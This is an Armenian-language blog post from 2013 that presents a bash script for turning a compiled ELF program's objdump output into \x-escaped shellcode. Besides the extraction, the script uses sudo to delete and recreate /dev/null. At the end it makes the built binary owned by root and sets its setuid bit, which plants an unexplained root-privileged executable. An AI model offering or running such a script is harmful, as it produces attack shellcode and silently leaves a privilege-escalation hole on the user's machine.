Սկիզբ » Ինֆորմացիոն Անվտանգություն » Shell Code Generator Advanced user-ների համար

Shell Code Generator Advanced user-ների համար

| Հունվար 14, 2013 |

“Продвинутый” linuxoid -ների համար ներկայացնում եմ իմ կողմից գրված Shell Code Generator սկրիպտային սցենարը, որը նախատեսված է exe(elf) ֆայլից shell code -ի ստացման համար

#!/bin/bash
file_name=`basename $0`
sudo rm -f /dev/null
sudo mknod /dev/null c 1 3
sudo chmod 666 /dev/null
if [ `stat -c %A $file_name | sed 's/...\(.\).\+/\1/'` != "x"  ]
	then
		sudo chmod u+x $file_name
	else
		make clean
		make
		#objdump -D -j .data exe.o > f 
		objdump -D -j .text exe.o >f
		grep -oEi ':[^0x](\s)*([a-z0-9]{1}[a-z0-9]{1}(\s))*' f > temp 
		grep -oEi '[^:(\s)*][a-z0-9 ]*' temp > temp2
		sed -e 's/.\{3\}/&\x/g' temp2 > temp3
		cat temp3 | tr -d ' \n' > out_opcode
#		sed -e 's/ //g' temp3 > out_opcodei
		rm -rf temp2
		rm -rf temp3
		FILE="out_opcode"
		shell_code=$(cat $FILE | xargs echo)
		echo $shell_code > out_opcode
		sed -e 's/\ //g' out_opcode >temp
		sed -e 's/x/\\x/g' temp >out
		rm -rf temp
		rm -rf f
		rm -rf out_opcode
		a=$(whoami)
		sudo chown root exe
		sudo chmod +s exe
fi

Վաղը կներկայացնեմ նաև փոքրիկ օրինակ c++ -ով, դրա exe (elf) ֆայլն ու makefile -ը իր էկզոտիկ ֆլագերով:

Shell Code Generator Advanced user-ների համար, 8.2 out of 10 based on 5 ratings

Նշագրեր: , ,

Բաժին: Ինֆորմացիոն Անվտանգություն, Լինուքս/Յունիքս հրամաններ

Կիսվել , տարածել , պահպանել

VN:F [1.9.20_1166]
Rating: 8.2/10 (5 votes cast)

Մեկնաբանությունները փակված են

231